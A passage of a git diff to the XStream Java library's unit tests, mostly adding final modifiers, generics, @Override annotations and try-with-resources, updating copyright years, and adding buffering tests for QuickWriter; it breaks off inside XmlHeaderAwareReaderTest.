trackedPathsOnUnmarshal = getReferences(marshallingStrategy.requestedUnmarshaller); assertTrue(trackedPathsOnUnmarshal.containsKey(new Path("/list"))); assertEquals(1, trackedPathsOnUnmarshal.size()); } - public static class DomainType extends StandardObject{ + public static class DomainType extends StandardObject { + private static final long serialVersionUID = 201507L; public String value; - public DomainType(String value){ + public DomainType(final String value) { this.value = value; } } public void testDoesKeepXPathMapForBackwardsCompatibleImmutablesOnUnmarshall() { - //configure XStream - CountingXPathStrategy marshallingStrategy = new CountingXPathStrategy(); + // configure XStream + final CountingXPathStrategy marshallingStrategy = new CountingXPathStrategy(); xstream.setMarshallingStrategy(marshallingStrategy); xstream.addImmutableType(Thing.class, true); - //setup document - String document = "" - + "" - + " " - + " JUnit" - + " " - + " " - + " JUnit" - + " " - + ""; + // setup document + final String document = "" + + "" + + " " + + " JUnit" + + " " + + " " + + " JUnit" + + " " + + ""; - //act - Object result = xstream.fromXML(document); + xstream.fromXML(document); - //assert - Map trackedPathsOnUnmarshal = getReferences(marshallingStrategy.requestedUnmarshaller); + // assert + final Map trackedPathsOnUnmarshal = getReferences(marshallingStrategy.requestedUnmarshaller); assertTrue(trackedPathsOnUnmarshal.containsKey(new Path("/list"))); assertTrue(trackedPathsOnUnmarshal.containsKey(new Path("/list/thing"))); @@ -210,24 +210,23 @@ public void testDoesKeepXPathMapForBackwardsCompatibleImmutablesOnUnmarshall() { assertEquals(3, trackedPathsOnUnmarshal.size()); } - private Map getReferences(ReferenceByXPathUnmarshaller requestedUnmarshaller) { + @SuppressWarnings("unchecked") + private Map getReferences(final ReferenceByXPathUnmarshaller requestedUnmarshaller) { try { - Field field = AbstractReferenceUnmarshaller.class.getDeclaredField("values"); + final Field field = AbstractReferenceUnmarshaller.class.getDeclaredField("values"); field.setAccessible(true); - return (Map) field.get(requestedUnmarshaller); - } - catch (Exception e) { + return (Map)field.get(requestedUnmarshaller); + } catch (final Exception e) { throw new RuntimeException(e); } } - private ObjectIdDictionary getReferences(ReferenceByXPathMarshaller requestedMarshaller) { + private ObjectIdDictionary getReferences(final ReferenceByXPathMarshaller requestedMarshaller) { try { - Field field = AbstractReferenceMarshaller.class.getDeclaredField("references"); + final Field field = AbstractReferenceMarshaller.class.getDeclaredField("references"); field.setAccessible(true); - return (ObjectIdDictionary) field.get(requestedMarshaller); - } - catch(Exception e){ + return (ObjectIdDictionary)field.get(requestedMarshaller); + } catch (final Exception e) { throw new RuntimeException(e); } } diff --git a/xstream/src/test/com/thoughtworks/xstream/core/TreeMarshallerTest.java b/xstream/src/test/com/thoughtworks/xstream/core/TreeMarshallerTest.java index 20fde3897..7b76929c8 100644 --- a/xstream/src/test/com/thoughtworks/xstream/core/TreeMarshallerTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/core/TreeMarshallerTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 25. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.core; @@ -14,27 +14,29 @@ import com.thoughtworks.acceptance.AbstractAcceptanceTest; import com.thoughtworks.xstream.XStream; + public class TreeMarshallerTest extends AbstractAcceptanceTest { static class Thing { Thing thing; } + @Override protected void setUp() throws Exception { super.setUp(); xstream.setMode(XStream.NO_REFERENCES); } public void testThrowsExceptionWhenDetectingCircularReferences() { - Thing a = new Thing(); - Thing b = new Thing(); + final Thing a = new Thing(); + final Thing b = new Thing(); a.thing = b; b.thing = a; try { xstream.toXML(a); fail("expected exception"); - } catch (TreeMarshaller.CircularReferenceException expected) { + } catch (final TreeMarshaller.CircularReferenceException expected) { // good } } diff --git a/xstream/src/test/com/thoughtworks/xstream/core/TreeUnmarshallerTest.java b/xstream/src/test/com/thoughtworks/xstream/core/TreeUnmarshallerTest.java index c1ef1b89d..64d64a947 100644 --- a/xstream/src/test/com/thoughtworks/xstream/core/TreeUnmarshallerTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/core/TreeUnmarshallerTest.java @@ -1,99 +1,108 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 10. April 2005 by Mauro Talevi */ package com.thoughtworks.xstream.core; -import com.thoughtworks.acceptance.AbstractAcceptanceTest; - import java.util.ArrayList; import java.util.List; +import com.thoughtworks.acceptance.AbstractAcceptanceTest; + + public class TreeUnmarshallerTest extends AbstractAcceptanceTest { + @Override protected void setUp() throws Exception { super.setUp(); } - - public void testUnmarshallingOfAliasedInterfaces() { - xstream.alias("addressBookInfo", AddressBookInfo.class, AddressBook.class); - xstream.alias("addressInfo", AddressInfo.class, Address.class); - AddressBookInfo initialObject = new AddressBook(); - String marshalledXML = xstream.toXML(initialObject); - AddressBookInfo unmarshalledObject = (AddressBookInfo) xstream.fromXML(marshalledXML); - assertEquals(marshalledXML, xstream.toXML(unmarshalledObject)); - } - - public interface AddressBookInfo { - public List getAddresses(); - - public void setAddresses(List address); - } - - public static class AddressBook implements AddressBookInfo { - private List addresses; - - public AddressBook() { - addresses = new ArrayList(); - AddressInfo addr = new Address("Home", "Home"); - AddressInfo addr1 = new Address("Office", "Office"); - addresses.add(addr); - addresses.add(addr1); - } - - public List getAddresses() { - return addresses; - } - - public void setAddresses(List addresses) { - this.addresses = addresses; - } - } - - public interface AddressInfo { - public String getAddr1(); - - public String getAddr2(); - - public void setAddr1(String addr1); - - public void setAddr2(String addr2); - } - - public static class Address implements AddressInfo { - private String addr1 = "addr1"; - - private String addr2 = "addr2"; - + + public void testUnmarshallingOfAliasedInterfaces() { + xstream.alias("addressBookInfo", AddressBookInfo.class, AddressBook.class); + xstream.alias("addressInfo", AddressInfo.class, Address.class); + final AddressBookInfo initialObject = new AddressBook(); + final String marshalledXML = xstream.toXML(initialObject); + final AddressBookInfo unmarshalledObject = (AddressBookInfo)xstream.fromXML(marshalledXML); + assertEquals(marshalledXML, xstream.toXML(unmarshalledObject)); + } + + public interface AddressBookInfo { + public List getAddresses(); + + public void setAddresses(List address); + } + + public static class AddressBook implements AddressBookInfo { + private List addresses; + + public AddressBook() { + addresses = new ArrayList(); + final AddressInfo addr = new Address("Home", "Home"); + final AddressInfo addr1 = new Address("Office", "Office"); + addresses.add(addr); + addresses.add(addr1); + } + + @Override + public List getAddresses() { + return addresses; + } + + @Override + public void setAddresses(final List addresses) { + this.addresses = addresses; + } + } + + public interface AddressInfo { + public String getAddr1(); + + public String getAddr2(); + + public void setAddr1(String addr1); + + public void setAddr2(String addr2); + } + + public static class Address implements AddressInfo { + private String addr1 = "addr1"; + + private String addr2 = "addr2"; + + @SuppressWarnings("unused") private Address() { } - public Address(String addr1, String addr2) { - this.addr1 = addr1; - this.addr2 = addr2; - } + public Address(final String addr1, final String addr2) { + this.addr1 = addr1; + this.addr2 = addr2; + } - public String getAddr1() { - return addr1; - } + @Override + public String getAddr1() { + return addr1; + } - public String getAddr2() { - return addr2; - } + @Override + public String getAddr2() { + return addr2; + } - public void setAddr1(String addr1) { - this.addr1 = addr1; - } + @Override + public void setAddr1(final String addr1) { + this.addr1 = addr1; + } - public void setAddr2(String addr2) { - this.addr2 = addr2; - } - } + @Override + public void setAddr2(final String addr2) { + this.addr2 = addr2; + } + } } diff --git a/xstream/src/test/com/thoughtworks/xstream/core/util/CloneablesTest.java b/xstream/src/test/com/thoughtworks/xstream/core/util/CloneablesTest.java index 5faeedf91..1302bcc6f 100644 --- a/xstream/src/test/com/thoughtworks/xstream/core/util/CloneablesTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/core/util/CloneablesTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2010 XStream Committers. + * Copyright (C) 2010, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created 18.11.2010 by Joerg Schaible. */ package com.thoughtworks.xstream.core.util; @@ -19,18 +19,18 @@ public class CloneablesTest extends TestCase { public void testCloneOfCloneable() { - final TypedNull stringNull = new CloneableTypedNull(String.class); - final TypedNull stringNullClone = (TypedNull)Cloneables.clone(stringNull); + final TypedNull stringNull = new CloneableTypedNull(String.class); + final TypedNull stringNullClone = Cloneables.clone(stringNull); assertSame(String.class, stringNullClone.getType()); } public void testCloneOfNotCloneable() { - final TypedNull stringNull = new TypedNull(String.class); + final TypedNull stringNull = new TypedNull(String.class); assertNull(Cloneables.clone(stringNull)); } public void testCloneOfUncloneable() { - final TypedNull stringNull = new UncloneableTypedNull(String.class); + final TypedNull stringNull = new UncloneableTypedNull(String.class); try { Cloneables.clone(stringNull); fail("Thrown " + ObjectAccessException.class.getName() + " expected"); @@ -40,40 +40,39 @@ public void testCloneOfUncloneable() { } public void testPossibleCloneOfCloneable() { - final TypedNull stringNull = new CloneableTypedNull(String.class); - final TypedNull stringNullClone = (TypedNull)Cloneables.cloneIfPossible(stringNull); + final TypedNull stringNull = new CloneableTypedNull(String.class); + final TypedNull stringNullClone = Cloneables.cloneIfPossible(stringNull); assertSame(String.class, stringNullClone.getType()); } public void testCloneOfStringArray() { - assertEquals( - Arrays.asList(new String[]{"string"}), - Arrays.asList((String[])Cloneables.clone(new String[]{"string"}))); + assertEquals(Arrays.asList(new String[]{"string"}), Arrays.asList(Cloneables.clone(new String[]{"string"}))); } public void testCloneOfPrimitiveArray() { - int[] clone = (int[])Cloneables.clone(new int[]{1}); + final int[] clone = Cloneables.clone(new int[]{1}); assertEquals(1, clone.length); assertEquals(1, clone[0]); } public void testPossibleCloneOfNotCloneable() { - final TypedNull stringNull = new TypedNull(String.class); + final TypedNull stringNull = new TypedNull(String.class); assertSame(stringNull, Cloneables.cloneIfPossible(stringNull)); } - static final class CloneableTypedNull extends TypedNull implements Cloneable { - CloneableTypedNull(final Class type) { + static final class CloneableTypedNull extends TypedNull implements Cloneable { + CloneableTypedNull(final Class type) { super(type); } + @Override public Object clone() throws CloneNotSupportedException { return super.clone(); } } - static final class UncloneableTypedNull extends TypedNull implements Cloneable { - UncloneableTypedNull(final Class type) { + static final class UncloneableTypedNull extends TypedNull implements Cloneable { + UncloneableTypedNull(final Class type) { super(type); } } diff --git a/xstream/src/test/com/thoughtworks/xstream/core/util/FastStackTest.java b/xstream/src/test/com/thoughtworks/xstream/core/util/FastStackTest.java index 126dba2d6..43f09a41d 100644 --- a/xstream/src/test/com/thoughtworks/xstream/core/util/FastStackTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/core/util/FastStackTest.java @@ -1,22 +1,23 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 02. September 2004 by Joe Walnes */ package com.thoughtworks.xstream.core.util; import junit.framework.TestCase; + public class FastStackTest extends TestCase { public void test() { - FastStack stack = new FastStack(2); + final FastStack stack = new FastStack(2); stack.push("a"); stack.push("b"); diff --git a/xstream/src/test/com/thoughtworks/xstream/core/util/ObjectIdDictionaryTest.java b/xstream/src/test/com/thoughtworks/xstream/core/util/ObjectIdDictionaryTest.java index a96ce9b95..281419c0f 100644 --- a/xstream/src/test/com/thoughtworks/xstream/core/util/ObjectIdDictionaryTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/core/util/ObjectIdDictionaryTest.java @@ -1,22 +1,23 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2010, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. May 2004 by Joe Walnes */ package com.thoughtworks.xstream.core.util; import junit.framework.TestCase; + public class ObjectIdDictionaryTest extends TestCase { public void testMapsIdsToObjectReferences() { - final ObjectIdDictionary dict = new ObjectIdDictionary(); + final ObjectIdDictionary dict = new ObjectIdDictionary(); final Object a = new Object(); final Object b = new Object(); final Object c = new Object(); @@ -29,7 +30,7 @@ public void testMapsIdsToObjectReferences() { } public void testTreatsObjectsThatAreEqualButNotSameInstanceAsDifferentReference() { - final ObjectIdDictionary dict = new ObjectIdDictionary(); + final ObjectIdDictionary dict = new ObjectIdDictionary(); final Integer a = new Integer(3); final Integer b = new Integer(3); dict.associateId(a, "id a"); @@ -39,7 +40,7 @@ public void testTreatsObjectsThatAreEqualButNotSameInstanceAsDifferentReference( } public void testEntriesAreGarbageCollected() throws InterruptedException { - final ObjectIdDictionary dict = new ObjectIdDictionary(); + final ObjectIdDictionary dict = new ObjectIdDictionary(); int counter = 0; for (; counter < 1000; ++counter) { @@ -51,11 +52,7 @@ public void testEntriesAreGarbageCollected() throws InterruptedException { Thread.sleep(10); } } - int size = dict.size(); - assertTrue("Dictionary did not shrink; " - + counter - + " distinct objects; " - + size - + " size", dict.size() < 250); + final int size = dict.size(); + assertTrue("Dictionary did not shrink; " + counter + " distinct objects; " + size + " size", dict.size() < 250); } } diff --git a/xstream/src/test/com/thoughtworks/xstream/core/util/OrderRetainingMapTest.java b/xstream/src/test/com/thoughtworks/xstream/core/util/OrderRetainingMapTest.java index 5e9d40a1b..4dad684a0 100644 --- a/xstream/src/test/com/thoughtworks/xstream/core/util/OrderRetainingMapTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/core/util/OrderRetainingMapTest.java @@ -1,43 +1,47 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 06. February 2005 by Joe Walnes */ package com.thoughtworks.xstream.core.util; -import junit.framework.TestCase; - import java.util.Iterator; import java.util.Map; +import junit.framework.TestCase; + + public class OrderRetainingMapTest extends TestCase { - private Map map; + private Map map; - private void assertNextEquals(Object expected, Iterator iterator) { + private void assertNextEquals(final Object expected, final Iterator iterator) { assertTrue("Expected to pull of another item from iterator : " + expected, iterator.hasNext()); assertEquals(expected, iterator.next()); } - private void assertNextEntryEquals(Object expectedKey, Object expectedValue, Iterator iterator) { - assertTrue("Expected to pull of another item from iterator : " + expectedKey + "=" + expectedValue, iterator.hasNext()); - Map.Entry actual = (Map.Entry) iterator.next(); + private void assertNextEntryEquals(final Object expectedKey, final Object expectedValue, + final Iterator> iterator) { + assertTrue("Expected to pull of another item from iterator : " + expectedKey + "=" + expectedValue, iterator + .hasNext()); + final Map.Entry actual = iterator.next(); assertEquals(expectedKey, actual.getKey()); assertEquals(expectedValue, actual.getValue()); } - private void assertNoMore(Iterator iterator) { + private void assertNoMore(final Iterator iterator) { assertFalse("Should be no more items in iterator", iterator.hasNext()); } + @Override protected void setUp() throws Exception { super.setUp(); - map = new OrderRetainingMap(); + map = new OrderRetainingMap(); map.put("one", "ONE"); map.put("two", "TWO"); map.put("three", "THREE"); @@ -45,7 +49,7 @@ protected void setUp() throws Exception { } public void testMaintainsOrderOfKeySet() { - Iterator keySetIterator = map.keySet().iterator(); + final Iterator keySetIterator = map.keySet().iterator(); assertNextEquals("one", keySetIterator); assertNextEquals("two", keySetIterator); assertNextEquals("three", keySetIterator); @@ -54,7 +58,7 @@ public void testMaintainsOrderOfKeySet() { } public void testMaintainsOrderOfValues() { - Iterator valuesIterator = map.values().iterator(); + final Iterator valuesIterator = map.values().iterator(); assertNextEquals("ONE", valuesIterator); assertNextEquals("TWO", valuesIterator); assertNextEquals("THREE", valuesIterator); @@ -63,7 +67,7 @@ public void testMaintainsOrderOfValues() { } public void testMaintainsOrderOfEntries() { - Iterator entrySetIterator = map.entrySet().iterator(); + final Iterator> entrySetIterator = map.entrySet().iterator(); assertNextEntryEquals("one", "ONE", entrySetIterator); assertNextEntryEquals("two", "TWO", entrySetIterator); assertNextEntryEquals("three", "THREE", entrySetIterator); @@ -72,7 +76,9 @@ public void testMaintainsOrderOfEntries() { } public void testMaintainsOrderOfEntriesAfterCopyCtor() { - Iterator entrySetIterator = new OrderRetainingMap(map).entrySet().iterator(); + final Iterator> entrySetIterator = new OrderRetainingMap(map) + .entrySet() + .iterator(); assertNextEntryEquals("one", "ONE", entrySetIterator); assertNextEntryEquals("two", "TWO", entrySetIterator); assertNextEntryEquals("three", "THREE", entrySetIterator); diff --git a/xstream/src/test/com/thoughtworks/xstream/core/util/PrioritizedListTest.java b/xstream/src/test/com/thoughtworks/xstream/core/util/PrioritizedListTest.java index 08797fa1a..9d536e203 100644 --- a/xstream/src/test/com/thoughtworks/xstream/core/util/PrioritizedListTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/core/util/PrioritizedListTest.java @@ -6,33 +6,34 @@ * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 06. February 2005 by Joe Walnes */ package com.thoughtworks.xstream.core.util; +import java.util.Iterator; + import junit.framework.TestCase; -import java.util.Iterator; public class PrioritizedListTest extends TestCase { - private void assertNextEquals(Object expected, Iterator iterator) { + private void assertNextEquals(final Object expected, final Iterator iterator) { assertTrue("Expected to pull of another item from iterator : " + expected, iterator.hasNext()); assertEquals(expected, iterator.next()); } - private void assertNoMore(Iterator iterator) { + private void assertNoMore(final Iterator iterator) { assertFalse("Should be no more items in iterator", iterator.hasNext()); } public void testIteratesOverElementsInReverseOrderTheyWereAdded() { - PrioritizedList list = new PrioritizedList(); + final PrioritizedList list = new PrioritizedList(); list.add("one", 0); list.add("two", 0); list.add("three", 0); - Iterator iterator = list.iterator(); + final Iterator iterator = list.iterator(); assertNextEquals("three", iterator); assertNextEquals("two", iterator); assertNextEquals("one", iterator); @@ -40,14 +41,14 @@ public void testIteratesOverElementsInReverseOrderTheyWereAdded() { } public void testHandlesMultipleIsolatedIterators() { - PrioritizedList list = new PrioritizedList(); + final PrioritizedList list = new PrioritizedList(); list.add("one", 0); list.add("two", 0); - Iterator iteratorOne = list.iterator(); + final Iterator iteratorOne = list.iterator(); assertNextEquals("two", iteratorOne); - Iterator iteratorTwo = list.iterator(); + final Iterator iteratorTwo = list.iterator(); assertNextEquals("one", iteratorOne); assertNextEquals("two", iteratorTwo); @@ -58,7 +59,7 @@ public void testHandlesMultipleIsolatedIterators() { } public void testIteratesOverHighestPriorityItemsFirst() { - PrioritizedList list = new PrioritizedList(); + final PrioritizedList list = new PrioritizedList(); list.add("medium one", 0); list.add("high one", 1); list.add("low one", -1); @@ -70,7 +71,7 @@ public void testIteratesOverHighestPriorityItemsFirst() { list.add("very low", -4); list.add("VERY VERY low", -100); - Iterator iterator = list.iterator(); + final Iterator iterator = list.iterator(); assertNextEquals("VERY VERY high", iterator); assertNextEquals("very high", iterator); assertNextEquals("high two", iterator); diff --git a/xstream/src/test/com/thoughtworks/xstream/core/util/QuickWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/core/util/QuickWriterTest.java index 51c06d987..9324632a6 100644 --- a/xstream/src/test/com/thoughtworks/xstream/core/util/QuickWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/core/util/QuickWriterTest.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2009 XStream Committers. + * Copyright (C) 2009, 2018, 2023 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -21,13 +21,54 @@ public class QuickWriterTest extends TestCase { public void testUnbuffered() { - StringWriter stringWriter = new StringWriter(); - QuickWriter writer = new QuickWriter(stringWriter, 0); - writer.write("Joe"); - assertEquals(stringWriter.toString(), "Joe"); - writer.write(' '); - assertEquals(stringWriter.toString(), "Joe "); - writer.write("Walnes".toCharArray()); - assertEquals(stringWriter.toString(), "Joe Walnes"); + final StringWriter stringWriter = new StringWriter(); + try (QuickWriter writer = new QuickWriter(stringWriter, 0)) { + writer.write("Joe"); + assertEquals(stringWriter.toString(), "Joe"); + writer.write(' '); + assertEquals(stringWriter.toString(), "Joe "); + writer.write("Walnes".toCharArray()); + assertEquals(stringWriter.toString(), "Joe Walnes"); + } + } + + public void testBufferingChar() { + final StringWriter stringWriter = new StringWriter(); + try (QuickWriter writer = new QuickWriter(stringWriter, 1024)) { + final char[] filler = new char[1023]; + writer.write(filler); + assertEquals("not flushed yet", 0, stringWriter.getBuffer().length()); + writer.write(' '); + assertEquals("not flushed yet", 0, stringWriter.getBuffer().length()); + writer.write(' '); + assertEquals("flushed", 1024, stringWriter.getBuffer().length()); + } + } + + public void testBufferingCharArray() { + final StringWriter stringWriter = new StringWriter(); + try (QuickWriter writer = new QuickWriter(stringWriter, 1024)) { + final char[] filler = new char[1023]; + writer.write(filler); + assertEquals("not flushed yet", 0, stringWriter.getBuffer().length()); + final char[] one = {' '}; + writer.write(one); + assertEquals("not flushed yet", 0, stringWriter.getBuffer().length()); + writer.write(one); + assertEquals("flushed", 1024, stringWriter.getBuffer().length()); + } + } + + public void testBufferingString() { + final StringWriter stringWriter = new StringWriter(); + try (QuickWriter writer = new QuickWriter(stringWriter, 1024)) { + final char[] filler = new char[1023]; + writer.write(filler); + assertEquals("not flushed yet", 0, stringWriter.getBuffer().length()); + writer.write(" "); + assertEquals("not flushed yet", 0, stringWriter.getBuffer().length()); + writer.write(" "); + assertEquals("flushed", 1024, stringWriter.getBuffer().length()); + } } } diff --git a/xstream/src/test/com/thoughtworks/xstream/core/util/WeakCacheTest.java b/xstream/src/test/com/thoughtworks/xstream/core/util/WeakCacheTest.java index 58cac21e0..f40d6a4ca 100644 --- a/xstream/src/test/com/thoughtworks/xstream/core/util/WeakCacheTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/core/util/WeakCacheTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2011 XStream Committers. + * Copyright (C) 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 13. July 2011 by Joerg Schaible */ package com.thoughtworks.xstream.core.util; @@ -26,13 +26,14 @@ import junit.framework.TestCase; + /** * @author Jörg Schaible */ public class WeakCacheTest extends TestCase { public void testIsAMap() { - Map map = new WeakCache(); + final Map map = new WeakCache(); assertEquals(0, map.size()); assertNull(map.put("key", "value")); assertEquals(1, map.size()); @@ -41,10 +42,10 @@ public void testIsAMap() { assertTrue(map.containsValue(new String("value"))); assertEquals("value", map.values().iterator().next()); assertEquals("key", map.keySet().iterator().next()); - assertEquals("value", ((Map.Entry)map.entrySet().iterator().next()).getValue()); - assertEquals("key", ((Map.Entry)map.entrySet().iterator().next()).getKey()); + assertEquals("value", map.entrySet().iterator().next().getValue()); + assertEquals("key", map.entrySet().iterator().next().getKey()); assertEquals("value", map.put("key", "test")); - Map copy = new HashMap(map); + final Map copy = new HashMap(map); assertEquals("test", map.remove("key")); assertEquals(0, map.size()); map.putAll(copy); @@ -53,94 +54,98 @@ public void testIsAMap() { map.clear(); assertEquals(0, map.size()); } - + public void testEntriesAreRemovedIfKeyIsGarbageCollected() throws InterruptedException { String key = new String("key"); - ReferenceQueue refQueue = new ReferenceQueue(); - Reference ref = new PhantomReference(key, refQueue); - - Map map = new WeakCache(); + final ReferenceQueue refQueue = new ReferenceQueue(); + final Reference ref = new PhantomReference(key, refQueue); + + final Map map = new WeakCache(); map.put(key, "value"); key = null; int i = 0; while (refQueue.poll() == null) { ref.get(); // always null - assertTrue("Key still alive even after "+i+" forced garbage collections", i++ < 5); + assertTrue("Key still alive even after " + i + " forced garbage collections", i++ < 5); Thread.sleep(10); System.gc(); } assertEquals(0, map.size()); } - + public void testSelfReferencingEntriesAreRemovedIfKeyIsGarbageCollected() throws InterruptedException { String key = new String("key"); - ReferenceQueue refQueue = new ReferenceQueue(); - Reference ref = new PhantomReference(key, refQueue); - - Map map = new WeakCache(); + final ReferenceQueue refQueue = new ReferenceQueue(); + final Reference ref = new PhantomReference(key, refQueue); + + final Map> map = new WeakCache>(); map.put(key, Collections.singleton(key)); key = null; int i = 0; while (refQueue.poll() == null) { ref.get(); // always null - assertTrue("Key still alive even after "+i+" forced garbage collections", i++ < 5); + assertTrue("Key still alive even after " + i + " forced garbage collections", i++ < 5); Thread.sleep(10); System.gc(); } assertEquals(0, map.size()); } - + public void testEntriesAreRemovedIfValueIsGarbageCollected() throws InterruptedException { String value = new String("value"); - ReferenceQueue refQueue = new ReferenceQueue(); - Reference ref = new PhantomReference(value, refQueue); - - Map map = new WeakCache(); + final ReferenceQueue refQueue = new ReferenceQueue(); + final Reference ref = new PhantomReference(value, refQueue); + + final Map map = new WeakCache(); map.put("key", value); value = null; int i = 0; while (refQueue.poll() == null) { ref.get(); // always null - assertTrue("Value still alive even after "+i+" forced garbage collections", i++ < 5); + assertTrue("Value still alive even after " + i + " forced garbage collections", i++ < 5); Thread.sleep(10); System.gc(); } assertEquals(0, map.size()); } - + public void testSelfReferencingEntriesAreRemovedIfValueIsGarbageCollected() throws InterruptedException { - String key = new String("key"); - Set value = Collections.singleton(key); - ReferenceQueue refQueue = new ReferenceQueue(); - Reference ref = new PhantomReference(value, refQueue); - - Map map = new WeakCache(); + final String key = new String("key"); + Set value = Collections.singleton(key); + final ReferenceQueue> refQueue = new ReferenceQueue>(); + final Reference> ref = new PhantomReference>(value, refQueue); + + final Map> map = new WeakCache>(); map.put(key, value); value = null; int i = 0; while (refQueue.poll() == null) { ref.get(); // always null - assertTrue("Value still alive even after "+i+" forced garbage collections", i++ < 5); + assertTrue("Value still alive even after " + i + " forced garbage collections", i++ < 5); Thread.sleep(10); System.gc(); } assertEquals(0, map.size()); } - - public void testSelfReferencingEntriesWithObjectsFromPermSpace() throws MalformedURLException, ClassNotFoundException, SecurityException, NoSuchFieldException, InterruptedException { - File proxyToys = new File("target/lib/proxytoys-0.2.1.jar"); - ClassLoader classLoader = new URLClassLoader(new URL[]{proxyToys.toURI().toURL()}, getClass().getClassLoader()); - Class simpleReferenceType = Class.forName("com.thoughtworks.proxy.kit.SimpleReference", true, classLoader); + + public void testSelfReferencingEntriesWithObjectsFromPermSpace() + throws MalformedURLException, ClassNotFoundException, SecurityException, NoSuchFieldException, + InterruptedException { + final File proxyToys = new File("target/lib/proxytoys-0.2.1.jar"); + @SuppressWarnings("resource") + final ClassLoader classLoader = new URLClassLoader(new URL[]{proxyToys.toURI().toURL()}, getClass() + .getClassLoader()); + Class simpleReferenceType = Class.forName("com.thoughtworks.proxy.kit.SimpleReference", true, classLoader); Field instance = simpleReferenceType.getDeclaredField("instance"); - - ReferenceQueue refQueue = new ReferenceQueue(); - Reference ref = new PhantomReference(instance, refQueue); - - Map map = new WeakCache(); + + final ReferenceQueue refQueue = new ReferenceQueue(); + final Reference ref = new PhantomReference(instance, refQueue); + + final Map, Field> map = new WeakCache, Field>(); map.put(simpleReferenceType, instance); simpleReferenceType = null; instance = null; @@ -148,7 +153,7 @@ public void testSelfReferencingEntriesWithObjectsFromPermSpace() throws Malforme int i = 0; while (refQueue.poll() == null) { ref.get(); // always null - //assertTrue("Value still alive even after "+i+" forced garbage collections", i++ < 5); + // assertTrue("Value still alive even after "+i+" forced garbage collections", i++ < 5); if (i++ >= 10) { // actually never reached - unfortunately break; @@ -157,23 +162,23 @@ public void testSelfReferencingEntriesWithObjectsFromPermSpace() throws Malforme System.gc(); } // wanted is 1 :-/ - //assertEquals(1, map.size()); + // assertEquals(1, map.size()); assertEquals(0, map.size()); } - + public void testCanUseDifferentMapImplementation() throws InterruptedException { String value = new String("value"); - ReferenceQueue refQueue = new ReferenceQueue(); - Reference ref = new PhantomReference(value, refQueue); - - Map map = new WeakCache(new TreeMap()); + final ReferenceQueue refQueue = new ReferenceQueue(); + final Reference ref = new PhantomReference(value, refQueue); + + final Map map = new WeakCache(new TreeMap>()); map.put("key", value); value = null; int i = 0; while (refQueue.poll() == null) { ref.get(); // always null - assertTrue("Value still alive even after "+i+" forced garbage collections", i++ < 5); + assertTrue("Value still alive even after " + i + " forced garbage collections", i++ < 5); Thread.sleep(10); System.gc(); } diff --git a/xstream/src/test/com/thoughtworks/xstream/core/util/XmlHeaderAwareReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/core/util/XmlHeaderAwareReaderTest.java index a20d415b7..84d64cca8 100644 --- a/xstream/src/test/com/thoughtworks/xstream/core/util/XmlHeaderAwareReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/core/util/XmlHeaderAwareReaderTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2007, 2008, 2010 XStream Committers. + * Copyright (C) 2007, 2008, 2010, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 13. September 2007 by Joerg Schaible */ package com.thoughtworks.xstream.core.util; @@ -26,52 +26,61 @@ public class XmlHeaderAwareReaderTest extends TestCase { public void testKeepsAllBytesInStream() throws IOException { - ByteArrayInputStream in = new ByteArrayInputStream("\n".getBytes("us-ascii")); - LineNumberReader reader = new LineNumberReader(new XmlHeaderAwareReader(in)); - assertEquals("", reader.readLine()); - assertEquals("", reader.readLine()); + final ByteArrayInputStream in = new ByteArrayInputStream("\n".getBytes("us-ascii")); + try (LineNumberReader reader = new LineNumberReader(new XmlHeaderAwareReader(in))) { + assertEquals("", reader.readLine()); + assertEquals("", reader.readLine()); + } } public void testDefaultValues() throws 